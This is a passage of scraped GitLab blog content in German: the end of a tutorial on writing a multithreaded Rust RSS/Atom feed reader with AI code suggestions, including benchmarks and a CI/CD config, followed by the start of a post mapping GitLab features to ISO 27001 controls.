the parsed body to a file, as name-current-iso-date.xml\n    let now = chrono::offset::Local::now();\n    let filename = format!(\"{}-{}.xml\", name, now.format(\"%Y-%m-%d\"));\n    let mut file = std::fs::File::create(filename).unwrap();\n    file.write_all(body.as_bytes()).unwrap();\n```\nEin möglicher Vorschlag ist die Verwendung der [Crate chrono](https://crates.io/crates/chrono). Füge sie mit `cargo add chrono` hinzu, rufe wieder `cargo build` und `cargo run` auf.\n\nDie Dateien werden in das gleiche Verzeichnis geschrieben, in dem `cargo run` ausgeführt wurde. Wenn du die Binärdatei direkt im Verzeichnis `target/debug/` ausführst, werden alle Dateien dort abgelegt.\n\n![VS-Code mit CNCF-RSS-Feed-Inhaltsdatei, auf Festplatte gespeichert](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_cncf_rss_feed_saved_on_disk.png)\n\n## Optimierung\nDie Einträge in der Variable `rss_feeds` werden nacheinander ausgeführt. Bei einer Liste mit über 100 konfigurierten URLs kann das Abrufen und Verarbeiten lange dauern. Was wäre, wenn Abrufanforderungen parallel ausgeführt würden?\n\n### Asynchrone Ausführung\nRust stellt [Threads](https://doc.rust-lang.org/book/ch16-01-threads.html) für die asynchrone Ausführung bereit.\n\nBei der einfachsten Lösung wird für jede RSS-Feed-URL ein Thread erstellt. Wir sprechen später über Optimierungsstrategien. Vor der parallelen Ausführung musst du die Ausführungszeit des sequentiellen Codes mit dem Befehl `cargo run` vor `time` messen.\n\n\n```\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n\n0.21s user 0.08s system 10% cpu 2.898 total\n```\n\nBeachte, dass diese Übung mehr manuelle Codearbeit erfordern könnte. Empfehlung: Den sequentiellen Arbeitszustand in einem neuen Git-Commit und einem neuen Git-Branch `sequential-exec` beibehalten, um die Auswirkungen der parallelen Ausführung besser zu vergleichen.\n\n```shell\ngit commit -avm \"Sequential execution working\"\ngit checkout -b sequential-exec\ngit push -u origin sequential-exec\n\ngit checkout main\n```\n\n### Threads spawnen\nÖffne `src/feed_reader.rs` und refaktorisiere die Funktion `get_feeds()`. Beginne mit einem Git-Commit für den aktuellen Status und lösche dann den Inhalt des Funktionsbereichs. Füge die folgenden Codekommentare hinzu:\n\n1. `// Store threads in vector`: Speichere die Thread-Alias in einem Vektor, damit wir warten können, bis sie am Ende des Funktionsaufrufs abgeschlossen sind.\n2. `// Loop over rss_feeds and spawn threads`: Erstelle Boilerplate-Code für die Iteration über alle RSS-Feeds und einen neuen Thread.\n\nFüge die folgenden `use`-Anweisungen hinzu, um mit den Modulen `thread` und `time` zu arbeiten.\n\n```rust\n    use std::thread;\n    use std::time::Duration;\n```\n\nSchreibe den Code weiter, schließe die for-Schleife. Codevorschläge schlägt dann automatisch vor, das Thread-Alias in der Vektorvariable `threads` hinzuzufügen und bietet an, den Threads am Ende der Funktion beizutreten.\n\n```rust\n    pub fn get_feeds(rss_feeds: &HashMap\u003CString, String>) {\n\n        // Store threads in vector\n        let mut threads: Vec\u003Cthread::JoinHandle\u003C()>> = Vec::new();\n\n        // Loop over rss_feeds and spawn threads\n        for (name, url) in rss_feeds {\n            let thread_name = name.clone();\n            let thread_url = url.clone();\n            let thread = thread::spawn(move || {\n\n            });\n            threads.push(thread);\n        }\n\n        // Join threads\n        for thread in threads {\n            thread.join().unwrap();\n        }\n    }\n```\n\nFüge die Crate `thread` hinzu, erstelle den Code, führe ihn erneut aus.\n\n```shell\ncargo add thread\n\ncargo build\n\ncargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n```\n\nZu diesem Zeitpunkt werden keine Daten verarbeitet oder gedruckt. Bevor wir die Funktion erneut hinzufügen, informieren wir uns über die neu eingeführten Keywords.\n\n### Funktionsumfänge, Threads und Closures\nMit dem vorgeschlagenen Code gilt es neue Keywords und Designmuster zu erlernen. Der Thread-Alias hat den Typ `thread:: JoinHandle`, wir können also warten, bis die Threads ([join()](https://doc.rust-lang.org/book/ch16-01-threads.html#waiting-for-all-threads-to-finish-using-join-handles)) beendet haben.\n\n`thread::spawn()` erstellt einen neuen Thread, in dem wir ein Funktionsobjekt übergeben können. In diesem Fall wird der Ausdruck [closure](https://doc.rust-lang.org/book/ch13-01-closures.html) als anonyme Funktion übergeben. Closure-Eingaben werden mit der Syntax `||` übergeben. Du erkennst den [Closure `move`](https://doc.rust-lang.org/book/ch16-01-threads.html#using-move-closures-with-threads), der die Variablen des Funktionsbereichs in den Thread-Bereich verschiebt. Dadurch wird die manuelle Angabe vermieden, welche Variablen in den neuen Funktions-/Closure-Bereich übergeben werden müssen.\n\nEinschränkung: `rss_feeds` ist eine Referenz `&`, die vom Funktions-Caller `get_feeds()` als Parameter übergeben wird. Die Variable ist nur im Funktionsbereich gültig. Provoziere diesen Fehler mit diesem Codeausschnitt:\n\n```rust\npub fn get_feeds(rss_feeds: &HashMap\u003CString, String>) {\n\n    // Store threads in vector\n    let mut threads: Vec\u003Cthread::JoinHandle\u003C()>> = Vec::new();\n\n    // Loop over rss_feeds and spawn threads\n    for (key, value) in rss_feeds {\n        let thread = thread::spawn(move || {\n            println!(\"{}\", key);\n        });\n    }\n}\n```\n\n![VS-Code-Terminal, Fehler im Variablenbereich mit Referenzen und Thread-Verschiebungs-Closure](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_cargo_build_error_function_threads_variable_scopes.png){: .shadow}\n\nObwohl die Variable `key` im Funktionsbereich erstellt wurde, verweist sie auf die Variable `rss_feeds` und kann nicht in den Thread-Bereich verschoben werden. Werte, auf die über den Funktionsparameter `rss_feeds` zugegriffen wird, erfordern eine lokale Kopie mit `clone()`.\n\n![VS-Code-Terminal, Thread-Spawn mit Klon](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_thread_spawn_clone.png){: .shadow}\n\n```rust\npub fn get_feeds(rss_feeds: &HashMap\u003CString, String>) {\n\n    // Store threads in vector\n    let mut threads: Vec\u003Cthread::JoinHandle\u003C()>> = Vec::new();\n\n    // Loop over rss_feeds and spawn threads\n    for (name, url) in rss_feeds {\n        let thread_name = name.clone();\n        let thread_url = url.clone();\n        let thread = thread::spawn(move || {\n            // Use thread_name and thread_url as values, see next chapter for instructions.\n```\n\n## Feed-XML in Objekttypen parsen\nAls Nächstes werden die Schritte für das Parsen des RSS-Feeds im Thread-Closure wiederholt. Füge folgende Codekommentare hinzu:\n\n1. `// Parse XML body with feed_rs parser, input in bytes`. Damit rufst du den Inhalt der RSS-Feed-URL ab und parst ihn mit den Crate-Funktionen `feed_rs`.\n2. `// Check feed_type attribute feed_rs::model::FeedType::RSS2 or Atom and print its name`: Extrahiere den Feed-Typ, indem du das Attribut `feed_type` mit dem [`feed_rs::model::FeedType`](https://docs.rs/feed-rs/latest/feed_rs/model/enum.FeedType.html) vergleichst. Dazu braucht Codevorschläge Anweisungen, in denen die genauen ENUM-Werte für den Abgleich angegeben werden.\n\n![Weise Codevorschläge an, mit bestimmten Feed-Typen abzugleichen](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_feed_rs_type_condition.png){: .shadow}\n\n```rust\n            // Parse XML body with feed_rs parser, input in bytes\n            let body = reqwest::blocking::get(thread_url).unwrap().bytes().unwrap();\n            let feed = feed_rs::parser::parse(body.as_ref()).unwrap();\n\n            // Check feed_type attribute feed_rs::model::FeedType::RSS2 or Atom and print its name\n            if feed.feed_type == feed_rs::model::FeedType::RSS2 {\n                println!(\"{} is an RSS2 feed\", thread_name);\n            } else if feed.feed_type == feed_rs::model::FeedType::Atom {\n                println!(\"{} is an Atom feed\", thread_name);\n            }\n```\n\nErstelle das Programm und führe es erneut aus. Überprüfe die Ausgabe.\n\n```\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n\nCNCF is an RSS2 feed\nTechCrunch is an RSS2 feed\nGitLab Blog is an Atom feed\nHacker News is an RSS2 feed\n```\n\nWir überprüfen diese Ausgabe: Öffne die Feed-URLs im Browser oder sieh die heruntergeladenen Dateien an.\n\nHacker News unterstützt RSS-Version 2.0 mit `channel(title,link,description,item(title,link,pubDate,comments))`. TechCrunch und der CNCF-Blog haben eine ähnliche Struktur.\n```xml\n\u003Crss version=\"2.0\">\u003Cchannel>\u003Ctitle>Hacker News\u003C/title>\u003Clink>https://news.ycombinator.com/\u003C/link>\u003Cdescription>Links for the intellectually curious, ranked by readers.\u003C/description>\u003Citem>\u003Ctitle>Writing a debugger from scratch: Breakpoints\u003C/title>\u003Clink>https://www.timdbg.com/posts/writing-a-debugger-from-scratch-part-5/\u003C/link>\u003CpubDate>Wed, 27 Sep 2023 06:31:25 +0000\u003C/pubDate>\u003Ccomments>https://news.ycombinator.com/item?id=37670938\u003C/comments>\u003Cdescription>\u003C![CDATA[\u003Ca href=\"https://news.ycombinator.com/item?id=37670938\">Comments\u003C/a>]]>\u003C/description>\u003C/item>\u003Citem>\n```\n\nIm GitLab-Blog wird das [Atom](https://datatracker.ietf.org/doc/html/rfc4287)-Feed-Format verwendet, das RSS zwar ähnlich ist, aber eine andere Parsing-Logik erfordert.\n```xml\n\u003C?xml version='1.0' encoding='utf-8' ?>\n\u003Cfeed xmlns='http://www.w3.org/2005/Atom'>\n\u003C!-- / Get release posts -->\n\u003C!-- / Get blog posts -->\n\u003Ctitle>GitLab\u003C/title>\n\u003Cid>https://about.gitlab.com/blog\u003C/id>\n\u003Clink href='https://about.gitlab.com/blog/' />\n\u003Cupdated>2023-09-26T00:00:00+00:00\u003C/updated>\n\u003Cauthor>\n\u003Cname>The GitLab Team\u003C/name>\n\u003C/author>\n\u003Centry>\n\u003Ctitle>Atlassian Server ending: Goodbye disjointed toolchain, hello DevSecOps platform\u003C/title>\n\u003Clink href='https://about.gitlab.com/blog/atlassian-server-ending-move-to-a-single-devsecops-platform/' rel='alternate' />\n\u003Cid>https://about.gitlab.com/blog/atlassian-server-ending-move-to-a-single-devsecops-platform/\u003C/id>\n\u003Cpublished>2023-09-26T00:00:00+00:00\u003C/published>\n\u003Cupdated>2023-09-26T00:00:00+00:00\u003C/updated>\n\u003Cauthor>\n\u003Cname>Dave Steer, Justin Farris\u003C/name>\n\u003C/author>\n```\n\n### Generische Feed-Datentypen zuordnen\nMit [`roxmltree::Document::parse`](https://docs.rs/roxmltree/latest/roxmltree/struct.Document.html) müssten wir den XML-Knotenbaum und dessen spezifische Tag-Namen verstehen. Glücklicherweise bietet [feed_rs::model::Feed](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Feed.html) ein kombiniertes Modell für RSS- und Atom-Feeds. Wir verwenden daher die Crate `feed_rs` weiter.\n\n1. Atom: Feed->Feed, Eintrag->Eintrag\n2. RSS: Kanal->Feed, Element->Eintrag\n\nZusätzlich zur obigen Zuordnung müssen wir die erforderlichen Attribute extrahieren und deren Datentypen zuordnen. Es ist hilfreich, [die Dokumentation für feed_rs::model](https://docs.rs/feed-rs/latest/feed_rs/model/index.html) zu öffnen, um die Strukturen und ihre Felder sowie Implementierungen zu verstehen. Andernfalls würden einige Vorschläge zu Fehlern bei der Typkonvertierung und Kompilierungsfehlern führen, die für die Implementierung von `feed_rs` spezifisch sind.\n\nEine [`Feed`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Feed.html)-Struktur liefert den `title`, Typ `Option\u003CText>` (entweder ist ein Wert festgelegt oder nichts). Eine [`Entry`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Entry.html)-Struktur bietet:\n\n1. `title`: `Option\u003CText>`mit [`Text`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Text.html) und dem Feld `content` als `String`.\n2. `updated`: `Option\u003CDateTime\u003CUtc>>` mit [`DateTime`](https://docs.rs/chrono/latest/chrono/struct.DateTime.html) mit der [`format()`-Methode](https://docs.rs/chrono/latest/chrono/struct.DateTime.html#method.format).\n3. `summary`: `Option\u003CText>` [`Text`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Text.html) und das Feld `content` als `String`.\n4. `links`: `Vec\u003CLink>`, Vektor mit [`Link`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Link.html)-Elementen. Das Attribut `href` liefert die rohe URL-Zeichenfolge.\n\nNutze dieses Wissen, um die erforderlichen Daten aus den Feed-Einträgen zu extrahieren. Zur Erinnerung: Alle `Option`-Typen müssen `unwrap()` aufrufen und erfordert weitere rohe Anweisungen für Codevorschläge.\n\n```rust\n                // https://docs.rs/feed-rs/latest/feed_rs/model/struct.Feed.html\n                // https://docs.rs/feed-rs/latest/feed_rs/model/struct.Entry.html\n                // Loop over all entries, and print\n                // title.unwrap().content\n                // published.unwrap().format\n                // summary.unwrap().content\n                // links href as joined string\n                for entry in feed.entries {\n                    println!(\"Title: {}\", entry.title.unwrap().content);\n                    println!(\"Published: {}\", entry.published.unwrap().format(\"%Y-%m-%d %H:%M:%S\"));\n                    println!(\"Summary: {}\", entry.summary.unwrap().content);\n                    println!(\"Links: {:?}\", entry.links.iter().map(|link| link.href.clone()).collect::\u003CVec\u003CString>>().join(\", \"));\n                    println!();\n                }\n```\n\n![Codevorschläge zum Drucken von Feed-Eintragstypen mit spezifischen Anforderungen](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_print_feed_entries_fields_with_rust_type_specifics.png){: .shadow}\n\n### Fehlerbehandlung mit der Option unwrap()\nWiederhole die mehrzeiligen Anweisungen, nachdem du das Programm erstellt und erneut ausgeführt hast. Spoiler: `unwrap()` ruft das Makro `panic!` auf und lässt das Programm abstürzen, wenn es auf leere Werte stößt. Dies kann passieren, wenn ein Feld wie `summary` in den Feed-Daten nicht festgelegt ist.\n\n```shell\nGitLab Blog is an Atom feed\nTitle: How the Colmena project uses GitLab to support citizen journalists\nPublished: 2023-09-27 00:00:00\nthread '\u003Cunnamed>' panicked at 'called `Option::unwrap()` on a `None` value', src/feed_reader.rs:40:59\n```\nMögliche Lösung: [`std::Option::unwrap_or_else`](https://doc.rust-lang.org/std/option/enum.Option.html#method.unwrap_or_else) verwenden und einen leeren String als Standardwert festlegen. Die Syntax erfordert einen Closure, der eine leere `Text`-Strukturinstanziierung zurückgibt.\n\nEs waren viele Versuche nötig, um die richtige Initialisierung zu finden. Das Übergeben nur einer leeren Zeichenfolge funktionierte nicht mit benutzerdefinierten Typen. Ich zeige dir, was ich versucht habe.\n\n```rust\n// Problem: The `summary` attribute is not always initialized. unwrap() will panic! then.\n// Requires use mime; and use feed_rs::model::Text;\n/*\n// 1st attempt: Use unwrap() to extraxt Text from Option\u003CText> type.\nprintln!(\"Summary: {}\", entry.summary.unwrap().content);\n// 2nd attempt. Learned about unwrap_or_else, passing an empty string.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| \"\").content);\n// 3rd attempt. summary is of the Text type, pass a new struct instantiation.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{}).content);\n// 4th attempt. Struct instantiation requires 3 field values.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{\"\", \"\", \"\"}).content);\n// 5th attempt. Struct instantation with public fields requires key: value syntax\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: \"\", src: \"\", content: \"\"}).content);\n// 6th attempt. Reviewed expected Text types in https://docs.rs/feed-rs/latest/feed_rs/model/struct.Text.html and created Mime and String objects\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: String::new(), content: String::new()}).content);\n// 7th attempt: String and Option\u003CString> cannot be casted automagically. Compiler suggested using `Option::Some()`.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: Option::Some(), content: String::new()}).content);\n*/\n\n// xth attempt: Solution. Option::Some() requires a new String object.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: Option::Some(String::new()), content: String::new()}).content);\n```\n\nDies war nicht zufriedenstellend, da die Codezeile kompliziert ist und manuelle Arbeit ohne Codevorschläge erforderte. Ich ging also einen Schritt zurück: Wenn `Option` `none` ist, gibt `unwrap()` einen Fehler  aus. Ich fragte Codevorschläge in einem neuen Kommentar:\n\n```\n                // xth attempt: Solution. Option::Some() requires a new String object.\n                println!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: Option::Some(String::new()), content: String::new()}).content);\n\n                // Alternatively, use Option.is_none()\n```\n\n![Codevorschläge hat nach Alternativen gefragt, wenn Options.is_none](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_after_complex_unwrap_or_else_ask_for_alternative_option.png){: .shadow}\n\nErgebnis: erhöhte Lesbarkeit, weniger CPU-Zyklen, die mit `unwrap()` verschwendet wurden, und eine Lernkurve .\n\nDenke daran: Füge das Speichern der XML-Daten auf der Festplatte erneut hinzu, um die Reader-App erneut abzuschließen.\n\n```rust\n                // Dump the parsed body to a file, as name-current-iso-date.xml\n                let file_name = format!(\"{}-{}.xml\", thread_name, chrono::Local::now().format(\"%Y-%m-%d-%H-%M-%S\"));\n                let mut file = std::fs::File::create(file_name).unwrap();\n                file.write_all(body.as_ref()).unwrap();\n```\n\nErstelle das Programm, führe es aus, um die Ausgabe zu überprüfen.\n\n```shell\ncargo build\n\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n```\n\n![VS-Code-Terminal, cargo run mit formatierter Ausgabe von Feed-Einträgen](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_cargo_run_formatted_output_final.png)\n\n## Benchmarks\n\n### Benchmarks für sequentielle vs. parallele Ausführung\nVergleiche die Ausführungszeit-Benchmarks, indem du jeweils fünf Samples erstellst.\n\n1. Sequentielle Ausführung. [Beispiel-Quellcode MR](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader/-/merge_requests/1)\n2. Parallele Ausführung. [Beispiel-Quellcode MR](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader/-/merge_requests/3)\n\n```shell\n# Sequential\ngit checkout sequential-exec\n\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n\n0.21s user 0.08s system 10% cpu 2.898 total\n0.21s user 0.08s system 11% cpu 2.585 total\n0.21s user 0.09s system 10% cpu 2.946 total\n0.19s user 0.08s system 10% cpu 2.714 total\n0.20s user 0.10s system 10% cpu 2.808 total\n```\n\n```shell\n# Parallel\ngit checkout parallel-exec\n\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n\n0.19s user 0.08s system 17% cpu 1.515 total\n0.18s user 0.08s system 16% cpu 1.561 total\n0.18s user 0.07s system 17% cpu 1.414 total\n0.19s user 0.08s system 18% cpu 1.447 total\n0.17s user 0.08s system 16% cpu 1.453 total\n```\n\nDie CPU-Nutzung ist bei der parallelen Ausführung von vier RSS-Feed-Threads gestiegen, hat aber die Gesamtzeit fast halbiert. Wenn wir dies beachten, können wir unsere Kenntnisse von Rust vertiefen und den Code und die Funktionalität optimieren.\n\nBeachte, dass wir den Debug-Build über Cargo ausführen und noch nicht über die optimierten veröffentlichten Builds. Einschränkungen bei der parallelen Ausführung: Einige HTTP-Endpunkte haben Ratenbegrenzungen eingeführt.\n\nDas System, das mehrere Threads parallel ausführt, könnte ebenfalls überlastet werden – Threads erfordern einen Kontextwechsel im Kernel und weisen jedem Thread Ressourcen zu. Während ein Thread Rechenressourcen erhält, werden andere Threads in den Ruhezustand versetzt. Wenn zu viele Threads gespawned werden, kann dies das System verlangsamen, anstatt den Vorgang zu beschleunigen. Lösungen umfassen Entwurfsmuster wie [Arbeitswarteschlangen](https://docs.rs/work-queue/latest/work_queue/), bei denen der Caller eine Aufgabe in eine Warteschlange einfügt und eine definierte Anzahl von Worker-Threads die Aufgaben für die asynchrone Ausführung aufnimmt.\n\nRust bietet auch eine Datensynchronisation zwischen Threads, sogenannten [Channels](https://doc.rust-lang.org/rust-by-example/std_misc/channels.html). Um einen gleichzeitigen Datenzugriff zu gewährleisten, stehen [mutexes](https://doc.rust-lang.org/std/sync/struct.Mutex.html) zur Verfügung, die sichere Sperren bieten.\n\n### CI/CD mit Rust-Caching\nFüge die folgende CI/CD-Konfiguration in die Datei `.gitlab-ci.yml` ein. Der Job `run-latest` ruft `cargo run` mit URL-Beispielen für RSS-Feeds auf und misst die Ausführungszeit kontinuierlich.\n\n```\nstages:\n  - build\n  - test\n  - run\n\ndefault:\n  image: rust:latest\n  cache:\n    key: ${CI_COMMIT_REF_SLUG}\n    paths:\n      - .cargo/bin\n      - .cargo/registry/index\n      - .cargo/registry/cache\n      - target/debug/deps\n      - target/debug/build\n    policy: pull-push\n\n# Cargo data needs to be in the project directory for being cached.\nvariables:\n  CARGO_HOME:${CI_PROJECT_DIR}/.cargo\n\nbuild-latest:\n  stage: build\n  script:\n    - cargo build --verbose\n\ntest-latest:\n  stage: build\n  script:\n    - cargo test --verbose\n\nrun-latest:\n  stage: run\n  script:\n    - time cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n```\n\n![GitLab-CI/CD-Pipelines für Rust, Cargo-Run-Ausgabe](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/gitlab_cicd_pipeline_rust_cargo_run_output.png){: .shadow}\n\n## Wie geht es weiter?\nDieser Blogbeitrag war schwierig zu erstellen, da ich sowohl selbst fortgeschrittene Rust-Programmiertechniken erlernte als auch eine gute Lernkurve mit Codevorschlägen fand. Letzteres hilft bei der schnellen Generierung von Code, nicht nur von Textbausteinen. Nach dem Lesen dieses Blogbeitrags kennst du einige Herausforderungen und Turnarounds. Der Beispiel-Lösungscode für die Reader-App ist im Projekt [learn-rust-ai-app-reader](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader) verfügbar.\n\nDas Parsen von RSS-Feeds ist herausfordernd, da es sich um Datenstrukturen mit externen HTTP-Anforderungen und parallelen Optimierungen handelt. Als erfahrene(r) Rust-Benutzer(in) hast du dich vielleicht gefragt: `Warum verwendet er nicht die Crate std::rss?` -- Sie ist für die erweiterte asynchrone Ausführung optimiert und erlaubt es nicht, die verschiedenen Rust-Funktionen, die in diesem Blogbeitrag erläutert werden, zu zeigen und zu erklären. Versuche als Übung den Code mit der [Crate `rss`](https://docs.rs/rss/latest/rss/) neu zu schreiben.\n\n### Asynchrone Lernübungen\nWas du in diesem Blogbeitrag gelernt hast, bildet die Grundlage für zukünftige Projekte mit persistenter Speicherung und Präsentation der Daten. Hier sind ein paar Ideen, mit denen du deine Kenntnisse von Rust vertiefen und die Reader-App optimieren kannst:\n\n1. Datenspeicherung: Verwende eine Datenbank wie sqlite und RSS-Feed-Update-Tracking.\n2. Benachrichtigungen: Spawne untergeordnete Prozesse, um Benachrichtigungen in Telegram usw. auszulösen.\n3. Funktionalität: Erweitere die Reader-Typen zu REST-APIs\n4. Konfiguration: Füge Unterstützung für Konfigurationsdateien für RSS-Feeds, APIs usw. hinzu.\n5. Effizienz: Füge Unterstützung für Filter und abonnierte Tags hinzu.\n6. Bereitstellungen: Verwende einen Webserver, sammle Prometheus-Metriken und stelle auf Kubernetes bereit.\n\nIn einem zukünftigen Blogbeitrag werden wir einige dieser Ideen besprechen und zeigen, wie wir sie umsetzen können. Tauche in vorhandene RSS-Feed-Implementierungen ein und erfahre, wie du den vorhandenen Code in Rust-Bibliotheken (`crates`) nutzen kannst.\n\n### Teile dein Feedback\nWenn du [GitLab Duo](/gitlab-duo/) Codevorschläge verwendest, [teile deine Meinung im Feedback-Ticket](https://gitlab.com/gitlab-org/gitlab/-/issues/405152).\n",[787,3463,767,974,679],"careers","2025-01-29",{"slug":3466,"featured":6,"template":682},"learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions","content:de-de:blog:learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions.yml","Learn Advanced Rust Programming With A Little Help From Ai Code Suggestions","de-de/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions.yml","de-de/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions",{"_path":3472,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3473,"content":3479,"config":3484,"_id":3486,"_type":16,"title":3487,"_source":17,"_file":3488,"_stem":3489,"_extension":20},"/de-de/blog/how-gitlab-can-support-your-iso-compliance-journey",{"ogTitle":3474,"schema":3475,"ogImage":3476,"ogDescription":3477,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":3478,"title":3474,"canonicalUrls":3478,"description":3477},"So unterstützt dich GitLab bei deiner ISO-27001-Compliance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"So unterstützt dich GitLab bei deiner ISO-27001-Compliance\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2023-09-06\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662877/Blog/Hero%20Images/security-cover-new.png","GitLab ist dein strategischer Partner und hilft mit seinen Software-Sicherheitsfunktionen dabei, deine ISO-27001-Compliance sicherzustellen.","https://about.gitlab.com/blog/how-gitlab-can-support-your-iso-compliance-journey",{"heroImage":3476,"body":3480,"authors":3481,"updatedDate":2943,"date":3482,"title":3474,"tags":3483,"description":3477,"category":765},"\nAls eine durchgängige All-Inclusive-Plattform ist es mit GitLab einfach, deinen DevSecOps-Lebenszyklus zu verwalten. Dank der Plattform von GitLab können Entwickler(innen) schneller bessere Software entwickeln. Das ist aber nicht alles, denn GitLab geht über DevSecOps hinaus.\n\nIm Oktober 2022 veröffentlichte die Internationale Organisation für Normung die neueste Version der Norm ISO 27001. ISO/IEC 27001:2022 enthält mehrere Änderungen gegenüber der vorherigen Version, darunter die neuen Control Kategorien aus Anhang A, bei denen es um sicheres Programmieren und Konfigurationsmanagement geht.\n\nWir bei GitLab nutzen unsere Plattform, um viele Aspekte unseres Sicherheitskonformitätsprogramms zu unterstützen – ein Konzept, das wir intern [Dogfooding](https://about.gitlab.com/direction/dogfooding/) nennen. Eine Übersicht über den Nachweis der Einhaltung von Vorschriften und Sicherheit findest du in unserem [Trust Center](https://about.gitlab.com/security/).\n\nSehen wir uns nun die wichtigsten Funktionen an, die du bei deiner ISO-27001-Compliance nutzen kannst.\n\n## Organisatorische Controls\n\n| Control-ID | Control-Beschreibung |\n| ---- | ---- |\n| 5.3 Aufgabentrennung | Widersprüchliche Aufgaben und Verantwortungsbereiche sind zu trennen. |\n| 5.15 Zugriffskontrolle | Regeln zur Kontrolle des physischen und logischen Zugriffs auf Informationen und andere damit verbundene Vermögenswerte müssen auf der Grundlage der Geschäfts- und Informationssicherheitsanforderungen festgelegt und implementiert werden. |\n| 5.16 Identitätsmanagement | Der gesamte Lebenszyklus von Identitäten ist zu verwalten. |\n| 8.2 Privilegierte Zugriffsrechte | Die Vergabe und Nutzung von privilegierten Zugriffsrechten ist einzuschränken und zu verwalten.|\n| 8.4 Zugriff auf Quellcode | Der Lese- und Schreibzugriff auf Quellcode, Entwicklungstools und Softwarebibliotheken ist angemessen zu verwalten. |\n\nMit GitLab kannst du [Benutzer(inne)n eine Rolle zuweisen](https://docs.gitlab.com/ee/user/permissions.html), wenn du sie zu einem Projekt oder einer Gruppe hinzufügst. Die Rolle eines Benutzers/einer Benutzerin legt fest, was er/sie in deiner GitLab-Instanz ausführen kann. Folgende Rollen stehen für die Zuweisung zur Verfügung:\n* Gast (nur private und interne Projekte)\n* Reporter(in)\n* Entwickler(in)\n* Betreuer(in)\n* Eigentümer(in)\n* Minimaler Zugriff (nur für die Hauptgruppe verfügbar)\n\nMit den Rollen von GitLab kannst du die Berechtigungen eines Benutzers/einer Benutzerin gemäß dem [Prinzip der geringsten Privilegien](https://csrc.nist.gov/glossary/term/least_privilege) und deinen Geschäfts- und Informationssicherheitsanforderungen einschränken.\n\nAußerdem kannst du dank GitLab die Authentifizierungs- und Autorisierungsverantwortlichkeiten für deine GitLab-Instanz über [SAML-SSO-Integrationen](https://docs.gitlab.com/ee/user/group/saml_sso/) zentralisieren. GitLab lässt sich in eine Vielzahl von Identitätsanbietern integrieren, um die verschiedenen Technologie-Stacks unserer Kund(inn)en zu unterstützen. GitLab unterstützt auch das System für domänenübergreifendes Identitätsmanagement ([SCIM](https://docs.gitlab.com/ee/user/group/saml_sso/scim_setup.html)). Durch die SSO- und SCIM-Integrationen von GitLab kannst du den Lebenszyklus deiner Benutzeridentitäten sicher und effizient automatisieren.\n\n[SSO](https://docs.gitlab.com/ee/integration/saml.html) und [SCIM](https://docs.gitlab.com/ee/administration/settings/scim_setup.html) sind auch für selbstverwaltete Kund(inn)en von GitLab verfügbar.\n\n**Hinweis:** Die technologischen Controls 8.2 und 8.4 in Anhang 8 wurden aufgrund ihrer Nähe zu den organisatorischen Controls 5.3, 5.15 und 5.16 in die oben stehende Tabelle aufgenommen. Für die Anforderungen dieser Controls können die gleichen GitLab-Funktionen angewendet werden.\n{: .note}\n\n\u003Cbr>\n\n| Control-ID | Control-Beschreibung |\n| ---- | ---- |\n| 5.8 Informationssicherheit im Projektmanagement | Informationssicherheit ist in das Projektmanagement 